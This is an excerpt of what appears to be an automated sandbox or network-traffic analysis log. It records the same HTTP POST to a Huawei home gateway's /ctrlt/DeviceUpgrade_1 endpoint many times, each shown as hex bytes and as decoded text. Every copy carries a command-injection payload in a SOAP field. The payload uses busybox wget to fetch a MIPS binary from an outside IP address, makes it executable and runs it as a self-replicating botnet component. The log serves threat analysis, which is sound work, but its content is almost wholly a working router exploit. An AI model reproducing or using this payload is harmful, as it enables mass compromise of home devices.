61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 